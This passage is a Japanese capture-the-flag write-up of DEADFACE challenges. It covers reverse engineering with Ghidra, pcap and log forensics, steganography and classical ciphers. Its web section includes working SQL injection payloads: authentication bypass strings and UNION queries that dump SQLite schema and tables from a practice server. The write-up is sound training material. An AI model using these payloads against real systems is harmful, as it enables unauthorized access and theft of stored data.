  strcat(local_3c8,local_1a8);
  strcat(local_3c8,local_1e8);
  strcat(local_3c8,local_1f8);
  strcat(local_3c8,local_180);
  strcat(local_3c8,local_220)

"/4d/44"にlocal_1a0から、"/"を除き順番に結合し、hexデコードする。

$ echo 4d4451674c53426b5a57466b5a6d466a5a5874475a575673633139736157746c58325a76636d56325a584a39 | xxd -r -p
MDQgLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9

base64文字列になったので、デコードする。

$ echo MDQgLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9 | base64 -d                                            
04 - deadface{Feels_like_forever}
deadface{Feels_like_forever}

Cereal Killer 01 (Reverse Engineering 75)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  ulong uVar1;
  size_t len;
  long lVar2;
  int iVar3;
  char *pcVar4;
  MD5_CTX *pMVar5;
  long in_FS_OFFSET;
  byte bVar6;
  MD5_CTX MStack_5d8;
  undefined1 local_538 [16];
  undefined1 local_528 [16];
  undefined1 local_518 [16];
  undefined1 local_508 [16];
  undefined1 local_4f8 [16];
  undefined1 local_4e8 [16];
  undefined1 local_4d8 [16];
  undefined1 local_4c8 [16];
  undefined1 local_4b8 [16];
  undefined1 local_4a8 [15];
  undefined4 uStack_499;
  undefined1 local_488 [16];
  undefined1 local_478 [16];
  undefined1 local_468 [16];
  undefined1 local_458 [16];
  undefined4 local_448;
  char local_438 [1032];
  long local_30;
  
  bVar6 = 0;
  iVar3 = 0;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  local_4a8 = SUB1615((undefined1  [16])0x0,0);
  local_448 = 0;
  uStack_499 = 0;
  local_538 = (undefined1  [16])0x0;
  local_518 = (undefined1  [16])0x0;
  local_508 = (undefined1  [16])0x0;
  pcVar4 = local_438;
  for (lVar2 = 0x80; lVar2 != 0; lVar2 = lVar2 + -1) {
    pcVar4[0] = '\0';
    pcVar4[1] = '\0';
    pcVar4[2] = '\0';
    pcVar4[3] = '\0';
    pcVar4[4] = '\0';
    pcVar4[5] = '\0';
    pcVar4[6] = '\0';
    pcVar4[7] = '\0';
    pcVar4 = pcVar4 + 8;
  }
  local_4f8 = (undefined1  [16])0x0;
  uVar1 = 0x2a;
  local_4e8 = (undefined1  [16])0x0;
  local_528 = (undefined1  [16])0x0;
  local_4d8 = (undefined1  [16])0x0;
  local_4c8 = (undefined1  [16])0x0;
  local_4b8 = (undefined1  [16])0x0;
  local_488 = (undefined1  [16])0x0;
  local_478 = (undefined1  [16])0x0;
  local_468 = (undefined1  [16])0x0;
  local_458 = (undefined1  [16])0x0;
  do {
    if ((uVar1 & 1) == 0) {
      lVar2 = (long)iVar3;
      iVar3 = iVar3 + 1;
      local_518[lVar2] = amho16[uVar1];
    }
    uVar1 = uVar1 + 1;
  } while (uVar1 != 0x6c);
  hexStringToBytes(local_518,local_528);
  pMVar5 = &MStack_5d8;
  for (lVar2 = 0x13; lVar2 != 0; lVar2 = lVar2 + -1) {
    *(undefined8 *)pMVar5 = 0;
    pMVar5 = (MD5_CTX *)((long)pMVar5 + ((ulong)bVar6 * -2 + 1) * 8);
  }
  hexStringToBytes("393efd6a57f30a45c253336ca27fe7171c25492ac1f358f7e954d13b806b7fa25902d72c1c353d09 01ca08b58cadef510d1868dedaa21459f1478ba3b6c09b898e7718"
                   ,local_4d8);
  puts("This year, AI moguls are asking their LLMs which spooky cereal is best!");
  puts("Mr. Sam Altman. has a favorite spooky cereal.  Tear apart this");
  puts("binary and see if you can figure out what it is!");
  puts("\n");
  __printf_chk(2,"Please enter the password: ");
  __isoc99_scanf("%1023[^\n]",local_438);
  trim(local_438);
  MD5_Init(&MStack_5d8);
  len = strlen(local_438);
  MD5_Update(&MStack_5d8,local_438,len);
  MD5_Final(local_538,&MStack_5d8);
  if (local_538._0_8_ == local_528._0_8_ && local_538._8_8_ == local_528._8_8_) {
    puts("\n");
    puts("ChatGPT says: ");
    __printf_chk(2,"The SPOOKIEST cereal is...");
    puts("\n\n*********** (I THINK I MIGHT BE HALLUCINATING) ***********\n");
    Discombobulate(local_4d8,0x43,local_538,0x10,local_488);
    __printf_chk(2,&DAT_00103025,local_488);
    puts("\n\n*********** (I THINK I MIGHT BE HALLUCINATING) ***********\n");
  }
  else {
    puts("ACCESS DENIED: I\'m sorry, Sam, I\'m AFRAID I can\'t DO that...");
  }
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

                             amho16[42]                                      XREF[2,1]:   Entry Point(*), main:00101260(*), 
                             amho16                                                       main:001012b4(R)  
        00105020 4f 00 6e        undefine
                 00 65 00 
                 20 00 73 
           00105020 4f              undefined14Fh                     [0]                               XREF[2]:     Entry Point(*), main:00101260(*)  
           00105021 00              undefined100h                     [1]
           00105022 6e              undefined16Eh                     [2]
           00105023 00              undefined100h                     [3]
           00105024 65              undefined165h                     [4]
           00105025 00              undefined100h                     [5]
           00105026 20              undefined120h                     [6]
           00105027 00              undefined100h                     [7]
           00105028 73              undefined173h                     [8]
           00105029 00              undefined100h                     [9]
           0010502a 74              undefined174h                     [10]
           0010502b 00              undefined100h                     [11]
           0010502c 65              undefined165h                     [12]
           0010502d 00              undefined100h                     [13]
           0010502e 70              undefined170h                     [14]
           0010502f 00              undefined100h                     [15]
           00105030 20              undefined120h                     [16]
           00105031 00              undefined100h                     [17]
           00105032 63              undefined163h                     [18]
           00105033 00              undefined100h                     [19]
           00105034 6c              undefined16Ch                     [20]
           00105035 00              undefined100h                     [21]
           00105036 6f              undefined16Fh                     [22]
           00105037 00              undefined100h                     [23]
           00105038 73              undefined173h                     [24]
           00105039 00              undefined100h                     [25]
           0010503a 65              undefined165h                     [26]
           0010503b 00              undefined100h                     [27]
           0010503c 72              undefined172h                     [28]
           0010503d 00              undefined100h                     [29]
           0010503e 2e              undefined12Eh                     [30]
           0010503f 00              undefined100h                     [31]
           00105040 2e              undefined12Eh                     [32]
           00105041 00              undefined100h                     [33]
           00105042 2e              undefined12Eh                     [34]
           00105043 00              undefined100h                     [35]
           00105044 20              undefined120h                     [36]
           00105045 00              undefined100h                     [37]
           00105046 3a              undefined13Ah                     [38]
           00105047 00              undefined100h                     [39]
           00105048 20              undefined120h                     [40]
           00105049 00              undefined100h                     [41]
           0010504a 61              undefined161h                     [42]                              XREF[1]:     main:001012b4(R)  
           0010504b 00              undefined100h                     [43]
           0010504c 65              undefined165h                     [44]
           0010504d 00              undefined100h                     [45]
           0010504e 65              undefined165h                     [46]
           0010504f 00              undefined100h                     [47]
           00105050 31              undefined131h                     [48]
           00105051 00              undefined100h                     [49]
           00105052 65              undefined165h                     [50]
           00105053 00              undefined100h                     [51]
           00105054 65              undefined165h                     [52]
           00105055 00              undefined100h                     [53]
           00105056 35              undefined135h                     [54]
           00105057 00              undefined100h                     [55]
           00105058 32              undefined132h                     [56]
           00105059 00              undefined100h                     [57]
           0010505a 36              undefined136h                     [58]
           0010505b 00              undefined100h                     [59]
           0010505c 32              undefined132h                     [60]
           0010505d 00              undefined100h                     [61]
           0010505e 37              undefined137h                     [62]
           0010505f 00              undefined100h                     [63]
           00105060 35              undefined135h                     [64]
           00105061 00              undefined100h                     [65]
           00105062 37              undefined137h                     [66]
           00105063 00              undefined100h                     [67]
           00105064 63              undefined163h                     [68]
           00105065 00              undefined100h                     [69]
           00105066 66              undefined166h                     [70]
           00105067 00              undefined100h                     [71]
           00105068 36              undefined136h                     [72]
           00105069 00              undefined100h                     [73]
           0010506a 37              undefined137h                     [74]
           0010506b 00              undefined100h                     [75]
           0010506c 62              undefined162h                     [76]
           0010506d 00              undefined100h                     [77]
           0010506e 36              undefined136h                     [78]
           0010506f 00              undefined100h                     [79]
           00105070 31              undefined131h                     [80]
           00105071 00              undefined100h                     [81]
           00105072 39              undefined139h                     [82]
           00105073 00              undefined100h                     [83]
           00105074 66              undefined166h                     [84]
           00105075 00              undefined100h                     [85]
           00105076 66              undefined166h                     [86]
           00105077 00              undefined100h                     [87]
           00105078 36              undefined136h                     [88]
           00105079 00              undefined100h                     [89]
           0010507a 33              undefined133h                     [90]
           0010507b 00              undefined100h                     [91]
           0010507c 65              undefined165h                     [92]
           0010507d 00              undefined100h                     [93]
           0010507e 39              undefined139h                     [94]
           0010507f 00              undefined100h                     [95]
           00105080 36              undefined136h                     [96]
           00105081 00              undefined100h                     [97]
           00105082 37              undefined137h                     [98]
           00105083 00              undefined100h                     [99]
           00105084 32              undefined132h                     [100]
           00105085 00              undefined100h                     [101]
           00105086 62              undefined162h                     [102]
           00105087 00              undefined100h                     [103]
           00105088 36              undefined136h                     [104]
           00105089 00              undefined100h                     [105]
           0010508a 00              undefined100h                     [106]
           0010508b 00              undefined100h                     [107]

amho16を2バイトごとにhexデコードする。

$ echo 4f6e65207374657020636c6f7365722e2e2e203a206165653165653532363237353763663637623631396666363365393637326236 | xxd -r -p
One step closer... : aee1ee5262757cf67b619ff63e9672b6

この「aee1ee5262757cf67b619ff63e9672b6」をmd5としてCrackStationでクラックする。

peanutbuttercrunch

これをパスワードとして入力すればよい。

$ ./ck01-2025-rev03.bin                                                                                                      
This year, AI moguls are asking their LLMs which spooky cereal is best!
Mr. Sam Altman. has a favorite spooky cereal.  Tear apart this
binary and see if you can figure out what it is!


Please enter the password: peanutbuttercrunch


ChatGPT says: 
The SPOOKIEST cereal is...

*********** (I THINK I MIGHT BE HALLUCINATING) ***********

deadface{Yeah-its-not-a-monster-cereal--Mr-Altman-is----different!}

*********** (I THINK I MIGHT BE HALLUCINATING) ***********
deadface{Yeah-its-not-a-monster-cereal--Mr-Altman-is----different!}

The Source of Our Troubles (Hack the Night 10)

HTMLソースを見たら、コメントにフラグが書いてあった。

deadface{v13w_s0urc3_4lw4ys_f1rst}

Hidden Paths (Hack the Night 10)

http://env01.deadface.io:8080/robots.txtにアクセスしたら、以下のように書いてあり、フラグが見つかった。

# Night Vale University - robots.txt
# VULNERABILITY: Information disclosure via robots.txt (Easy)

User-agent: *
Disallow: /admin.php
Disallow: /api/
Disallow: /backup/
Disallow: /config/
Disallow: /.git/
Disallow: /secret_files/

# Flag: deadface{r0b0ts_txt_r3v34ls_h1dd3n_p4ths}

# Development endpoints (should be removed in production)
Disallow: /api/debug.php
Disallow: /phpinfo.php

# Sitemap
Sitemap: https://nvu.edu/sitemap.xml
deadface{r0b0ts_txt_r3v34ls_h1dd3n_p4ths}

Console Chaos (Hack the Night 10)

デベロッパーツールでConsoleを開き、Homeのページをリロードすると、フラグが書いてあった。

Flag for curious developers: deadface{c0ns0l3_l0gs_4r3_y0ur_fr13nd}
deadface{c0ns0l3_l0gs_4r3_y0ur_fr13nd}

Stick to the Script (Hack the Night 40)

リンクされているscript.jsを見ると、以下の部分がある。

// Flag hidden in obfuscated JavaScript (Moderate difficulty)
const config = {
    version: '2.1.4',
    buildDate: '2025-10-15',
    // ZGVhZGZhY2V7ajR2NHNjcjFwdF9jNG5faDFkM19zM2NyM3RzfQ==
    features: ['announcements', 'courses', 'research']
};

base64文字列をデコードする。

$ echo ZGVhZGZhY2V7ajR2NHNjcjFwdF9jNG5faDFkM19zM2NyM3RzfQ== | base64 -d                                                                                                                                
deadface{j4v4scr1pt_c4n_h1d3_s3cr3ts}
deadface{j4v4scr1pt_c4n_h1d3_s3cr3ts}

Pest Control (Hack the Night 50)

script.jsに以下のコードがある。

// Fake API endpoint hint
console.log('%cTry: /api/debug.php?show=config', 'color: #7c1d49; font-style: italic;');
console.log('%cAlso check: /api/search.php?q=test&type=announcements', 'color: #7c1d49; font-style: italic;');

http://env01.deadface.io:8080/api/debug.php?show=configにアクセスしてみると、以下のレスポンスがあった。

{
    "status": "success",
    "message": "Debug configuration retrieved",
    "data": {
        "app_version": "2.1.4",
        "php_version": "8.1.33",
        "server": "Apache\/2.4.65 (Debian)",
        "database": {
            "host": "db",
            "name": "nvu_portal",
            "user": "nvu_user"
        },
        "flag": "deadface{4p1_d3bug_3xp0sur3_l34ks}",
        "paths": {
            "root": "\/var\/www\/html",
            "script": "\/var\/www\/html\/api\/debug.php"
        }
    }
}
deadface{4p1_d3bug_3xp0sur3_l34ks}

Access Granted (Hack the Night 50)

SQLインジェクション。ログイン画面で、以下を入力する。

Username: ' or 1=1 -- -
Password: a

ログインできてフラグが表示された。

deadface{sql_1nj3ct10n_byp4ss_4uth}

Reverse Course (Hack the Night 60)

http://env01.deadface.io:8080/backup/にアクセスしたら、インデックスが見えて、db_backup_20251015.sqlだけが一覧にあることがわかる。db_backup_20251015.sqlをダウンロードする。そこには以下の内容が含まれていた。

INSERT INTO users (username, password, email, role) VALUES
('emergency_admin', MD5('EmergencyAccess2025!'), 'emergency@nvu.edu', 'admin');
deadface{EmergencyAccess2025!}

Not-So-Public Domain (Hack the Night 100)

http://env01.deadface.io:8080/api/search.php?q=a&type=announcementsで検索すると、以下の結果になる。

{
    "status": "success",
    "type": "announcements",
    "query": "a",
    "count": 4,
    "results": [
        {
            "title": "Welcome to Fall 2025",
            "content": "Welcome back students! We are excited for another great semester at Night Vale University.",
            "author": "Dean Morrison",
            "posted_at": "2025-10-25 18:26:37"
        },
        {
            "title": "Library Hours Extended",
            "content": "The university library will now be open until midnight on weekdays.",
            "author": "Library Services",
            "posted_at": "2025-10-25 18:26:37"
        },
        {
            "title": "Campus Security Alert",
            "content": "Please report any suspicious activity to campus security immediately.",
            "author": "Campus Police",
            "posted_at": "2025-10-25 18:26:37"
        },
        {
            "title": "Server Maintenance",
            "content": "Scheduled maintenance on October 28th from 2-4 AM.",
            "author": "IT Department",
            "posted_at": "2025-10-25 18:26:37"
        }
    ]
}

SQLインジェクションでis_hidden=0の条件をなくすために、コメントを入れて、以下のURLにアクセスして検索する。
http://env01.deadface.io:8080/api/search.php?q=%27%20--%20-&type=announcements

この結果以下の通りとなる。

{
    "status": "success",
    "type": "announcements",
    "query": "' -- -",
    "count": 5,
    "results": [
        {
            "title": "Welcome to Fall 2025",
            "content": "Welcome back students! We are excited for another great semester at Night Vale University.",
            "author": "Dean Morrison",
            "posted_at": "2025-10-25 18:26:37"
        },
        {
            "title": "Library Hours Extended",
            "content": "The university library will now be open until midnight on weekdays.",
            "author": "Library Services",
            "posted_at": "2025-10-25 18:26:37"
        },
        {
            "title": "Campus Security Alert",
            "content": "Please report any suspicious activity to campus security immediately.",
            "author": "Campus Police",
            "posted_at": "2025-10-25 18:26:37"
        },
        {
            "title": "Restricted Access Notice",
            "content": "FLAG: deadface{h1dd3n_4nn0unc3m3nts_r3v34l_s3cr3ts}",
            "author": "System Administrator",
            "posted_at": "2025-10-25 18:26:37"
        },
        {
            "title": "Server Maintenance",
            "content": "Scheduled maintenance on October 28th from 2-4 AM.",
            "author": "IT Department",
            "posted_at": "2025-10-25 18:26:37"
        }
    ]
}
deadface{h1dd3n_4nn0unc3m3nts_r3v34l_s3cr3ts}

Classified (Hack the Night 150)

SQLインジェクションでコメントを入れて、以下のURLにアクセスして検索する。
http://env01.deadface.io:8080/api/search.php?q=%27%20--%20-&type=research

この結果以下の通りとなる。

{
    "status": "success",
    "type": "research",
    "query": "' -- -",
    "count": 4,
    "results": [
        {
            "project_name": "Dark Matter Detection Initiative",
            "lead_researcher": "Prof. Elliot Blackwood",
            "details": "Investigating novel detection methods for dark matter particles",
            "funding_amount": "2500000.00"
        },
        {
            "project_name": "Neural Interface Technology",
            "lead_researcher": "Dr. Patricia Wong",
            "details": "FLAG: deadface{cl4ss1f13d_r3s34rch_unh4ck4bl3} - Advanced brain-computer interface development with military applications",
            "funding_amount": "5000000.00"
        },
        {
            "project_name": "Sustainable Energy Grid",
            "lead_researcher": "Prof. Marcus Thompson",
            "details": "Development of next-generation renewable energy systems",
            "funding_amount": "1800000.00"
        },
        {
            "project_name": "Cryptographic Algorithm Research",
            "lead_researcher": "Prof. Sarah Martinez",
            "details": "Post-quantum cryptography for government communications",
            "funding_amount": "3200000.00"
        }
    ]
}
deadface{cl4ss1f13d_r3s34rch_unh4ck4bl3}

SQLite007 (Database 100)

以下でログインする。

User Name: ' or 1=1 -- -
Password : a

Search Usersに以下を指定する。

' union select 1,2,3,4,5 -- -

この結果、以下となる。

1, 2, 3, 4, 5

Search Usersに以下を指定する。

' union select 1,2,3,4,sqlite_version() -- -

この結果、以下となる。

1, 2, 3, 4, 3.46.1

DBはSQLiteだった。
Search Usersに以下を指定する。

' union select 1,2,3,name,sql from sqlite_master where type = 'table' -- -

この結果、以下となる。

1, 2, 3, activity_logs, CREATE TABLE activity_logs ( log_id INTEGER PRIMARY KEY AUTOINCREMENT, user_id TEXT, action TEXT, timestamp TEXT, details TEXT )
1, 2, 3, api_keys, CREATE TABLE api_keys ( key_id TEXT PRIMARY KEY, user_id TEXT, api_key TEXT, scopes TEXT, created_at TEXT, revoked INTEGER DEFAULT 0 )
1, 2, 3, general, CREATE TABLE general (flag TEXT)
1, 2, 3, profiles, CREATE TABLE profiles ( user_id TEXT PRIMARY KEY, username TEXT, full_name TEXT, email TEXT, bio TEXT, created_at TEXT )
1, 2, 3, sessions, CREATE TABLE sessions ( session_id TEXT PRIMARY KEY, user_id TEXT, created_at TEXT, expires_at TEXT, client_ip TEXT, user_agent TEXT )
1, 2, 3, sqlite_sequence, CREATE TABLE sqlite_sequence(name,seq)

Search Usersに以下を指定する。

' union select 1,2,3,4,flag from general -- -

この結果、以下となる。

1, 2, 3, 4, DEADFACE{you_found_the_sqli_01_flag!}
DEADFACE{you_found_the_sqli_01_flag!}

The Source (Stolen Secrets 5)

攻撃者のIPアドレスを答える問題。
access.logを見ると、以下のようなHydraによるパスワードクラックのアクセスが大量にある。

134.199.202.160 - - [21/Jul/2025:14:00:58 +0000] "GET /login.php HTTP/1.0" 200 946 "-" "Mozilla/5.0 (Hydra)"
134.199.202.160 - - [21/Jul/2025:14:00:59 +0000] "POST /login.php HTTP/1.0" 200 1001 "-" "Mozilla/5.0 (Hydra)"

このアクセス元のIPアドレスは以下のようになっている。

134.199.202.160
deadface{134.199.202.160}

Calling Card (Stolen Secrets 10)

pcapを開き、httpでフィルタリングする。
No.4のパケットで、次のJSONデータが送信されている。

{message: 'SeKAmXZlIGdhaW5lZCBmdWxsIGFjY2VzcyB0byB5b3VyIG5ldHdvcmsuIEV2ZXJ5IGZpbGUsIGV2ZXJ5IGNyZWRlbnRpYWwsIGV2ZXJ5IHN5c3RlbSDigJQgdW5kZXIgbXkgY29udHJvbC4gWW91IGRpZG7igJl0IG5vdGljZSBiZWNhdXNlIEkgZGlkbuKAmXQgd2FudCB5b3UgdG8uCgpUaGlzIHdhc27igJl0IGx1Y2suIEl0IHdhcyBwcmVjaXNpb24uIFlvdXIgZGVmZW5zZXMgd2VyZSBpbmFkZXF1YXRlLCBhbmQgSeKAmXZlIHByb3ZlbiBpdC4KClRoaXMgYXR0YWNrIGlzIGJyb3VnaHQgdG8geW91IGJ5IG1pcnZlYWwuIFRoYW5rcyBmb3IgdGhlIHNlY3JldHMh'}

HTTPヘッダを見ると、以下が設定されている。

FLAG: deadface{l3ts_get_Th3s3_fiL3$}
deadface{l3ts_get_Th3s3_fiL3$}

Versions (Stolen Secrets 10)

攻撃されたWebサーバのソフトウェアとバージョンを答える問題。
pcapを開き、httpでフィルタリングする。
No.6のパケットのHTTPヘッダを見ると、以下のようになっている。

nginx/1.25.5
deadface{nginx_1.25.5}

Compromised (Stolen Secrets 30)

サイバー攻撃で侵害したユーザとそのパスワードを答える問題。
pcapを開き、httpでフィルタリングする。
大量の/login.phpへのPOSTがあり、ログインを試行していることがわかる。その最後に入力したクレデンシャル情報は次のようになっている。

Form item: "username" = "bsampsel"
Form item: "password" = "Sparkles2025!"
deadface{bsampsel_Sparkles2025!}

A Wild User Suddenly Appeared! (Stolen Secrets 76)

永続化のために作成されたユーザとそのパスワードを答える問題。
pcapを開き、httpでフィルタリングする。
No.30545パケットで以下のユーザを作成していることがわかる。

Form item: "first_name" = "Dorla"
Form item: "password" = "SuP3RS3cr3tD34DF4C3#"
deadface{Dorla_SuP3RS3cr3tD34DF4C3#}

CreepNet (Traffic Analysis 50)

dns && udp.dstport==53でフィルタリングする。
No.274, 348, 729のパケットで以下のドメインのクエリを送信している。

ZGVhZGZhY2V7SXRzX0lt.com
aC1FdmVyeWQzdEBpbH0K.com
cDBydGFudC1UMC5jQHRj.com

それぞれbase64デコードする。

$ echo ZGVhZGZhY2V7SXRzX0lt | base64 -d
deadface{Its_Im
$ echo aC1FdmVyeWQzdEBpbH0K | base64 -d                    
h-Everyd3t@il}
$ echo cDBydGFudC1UMC5jQHRj | base64 -d
p0rtant-T0.c@tc

組み替えて、フラグの形式にする。

deadface{Its_Imp0rtant-T0.c@tch-Everyd3t@il}

Bad Boy (Steganography 10)

$ strings baddestboi.png | grep deadface
deadface{th3_b4dd3st_B0i_al1V3}
deadface{th3_b4dd3st_B0i_al1V3}

Double Decode (Steganography 75)

$ strings qr_flag.png                              
IHDR
IDATx
PTY?
lb3b=u
d .[
mh23
vWi|\
<"r_
Ak&4
a5A     u
m;y&<
Es`th
IEND
#df#
IyBwYXlsb2FkLnB5CgpkYXRhID0gIjY0IDY1IDYxIDY0IDY2IDYxIDYzIDY1IDdiIDQ1IDVhIDcwIDZlIDY3IDQ4IDMxIDY0IDMxIDZlIDY3IDdkIgoKZmxhZyA9IGJ5dGVzLmZyb21oZXgoZGF0YSkuZGVjb2RlKCkKcHJpbnQoZmxhZykK

PNGの末尾にbase64文字列があるので、デコードする。

$ echo IyBwYXlsb2FkLnB5CgpkYXRhID0gIjY0IDY1IDYxIDY0IDY2IDYxIDYzIDY1IDdiIDQ1IDVhIDcwIDZlIDY3IDQ4IDMxIDY0IDMxIDZlIDY3IDdkIgoKZmxhZyA9IGJ5dGVzLmZyb21oZXgoZGF0YSkuZGVjb2RlKCkKcHJpbnQoZmxhZykK | base64 -d
# payload.py

data = "64 65 61 64 66 61 63 65 7b 45 5a 70 6e 67 48 31 64 31 6e 67 7d"

flag = bytes.fromhex(data).decode()
print(flag)

同じことを実行する。

>>> data = "64 65 61 64 66 61 63 65 7b 45 5a 70 6e 67 48 31 64 31 6e 67 7d"
>>> flag = bytes.fromhex(data).decode()
>>> flag
'deadface{EZpngH1d1ng}'
deadface{EZpngH1d1ng}

Secret Frog (Steganography 80)

$ binwalk froggy-steg.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1024 x 1024, 8-bit/color RGB, non-interlaced
838           0x346           Zlib compressed data, default compression
1223461       0x12AB25        GIF image data, version "89a", 461 x 461
3883125       0x3B4075        JBOOT STAG header, image id: 14, timestamp 0x10386D1, image size: 3244515538 bytes, image JBOOT checksum: 0x18F9, header JBOOT checksum: 0x1491

gifを切り出す。

$ dd bs=1 skip=1223461 if=froggy-steg.png of=froggy-steg.gif
4500207+0 records in
4500207+0 records out
4500207 bytes (4.5 MB, 4.3 MiB) copied, 506.294 s, 8.9 kB/s

gifはアニメーションになっている。Giamでコマごとに抽出する。
このうちの1つにフラグが書いてあった。

deadface{surPr1s3D_Fr0ggy}

Poor Megan (Cryptography 10)

CyberChefのMagicで復号する。
この結果、以下で復号できた。
https://cyberchef.org/#recipe=From_Base64('3GHIJKLMNOPQRSTUb%3DcdefghijklmnopWXYZ/12%2B406789VaqrstuvwxyzABCDEF5',true,false)

deadface{16-oz-warm-water-one-teaspoon-of-lemon-two-teaspoons-of-apple-cider-vinegar}

Fenceline (Cryptography 25)

Rail Fence Cipherと推測し、https://www.dcode.fr/rail-fence-cipherで復号する。

deadface{and-He-Stills-Swears-Up-and-Down-that-He-Sees-That-Dadgum-Skunk-Ape!}

Winky Face (Cryptography 50)

暗号のメッセージを復号し、ターゲットとポジションを答える問題。
絵文字を適当なアルファベットに置換する。

ABCDEFFBCGHFIFJHIKLLLCMEN'OBCPBBFCQNRCEFCSIRJTLCUNVRCSIHRCNFRHKCSBCJEFANJRCENWCWIFVEDSIWBCIRRIJXCEFCUETFIRTIFCWBBAYCMENWCQWBJHENVCJGEL

これをquipqiupにかけ、復号を試すがうまくいかない。
元々の絵文字の💡は区切り文字でスペースと考えた方が良さそう。

"C"をスペースにしてquipqiupにかけ、復号する。

AB DEFFB GHFIFJHIKLLL MEN'OB PBBF QNR EF SIRJTL UNVR SIHR NFRHK SB JEFANJR ENW WIFVEDSIWB IRRIJX EF UETFIRTIF WBBAY MENW QWBJHENV JGEL

復号結果は以下の通り。

DE MONNE FINANCIALXXX YOU'VE BEEN PUT ON WATCHX JUST WAIT UNTIL WE CONDUCT OUR RANSOMWARE ATTACK ON JOHNATHAN REEDZ YOUR PRECIOUS CFOX

調整する。

DE MONNE FINANCIAL!!! YOU'VE BEEN PUT ON WATCH! JUST WAIT UNTIL WE CONDUCT OUR RANSOMWARE ATTACK ON JOHNATHAN REED, YOUR PRECIOUS CFO!

ターゲットはCFOのJOHNATHAN REED。

deadface{Johnathan Reed CFO}

Ghastly Gears (Cryptography 150)

Vigenere暗号と推測し、予測できる平文から鍵を推測していく。DEADFACEのメンバの名前からも推測する。

鍵を以下にすると、途中まで復号できる。

ABCDGHIJKPQTUVWXYZABDEFGHIJ

途中まで復号した結果は以下の通り。

From: lamia415
To: spookyboi
Subject: dq: poowgb bo dpm maxy

---
        :

スペース区切りで、連続したアルファベットで復号できそう。以下のフラグの部分だけ切り出す。

ikhloknq{uw0jll_i3s3q_e1h}

フラグは"d"から始まることを前提に鍵を割り出し、復号する。

鍵:FGHIJKLMNOPQRSTUVW
平文:deadface{hi0uvu_q3z3w_j1l}

数字の部分が合わないように見える。インデックス+5分マイナス方向にシフトして復号する。

#!/usr/bin/env python3
import string

ct = 'ikhloknq{uw0jll_i3s3q_e1h}'
flag = ''
for i in range(len(ct)):
    if ct[i] in string.ascii_lowercase:
        index = string.ascii_lowercase.index(ct[i])
        index = (index - i - 5) % 26
        flag += string.ascii_lowercase[index]
    else:
        flag += ct[i]
print(flag)
deadface{gh0sts_n3v3r_d1e}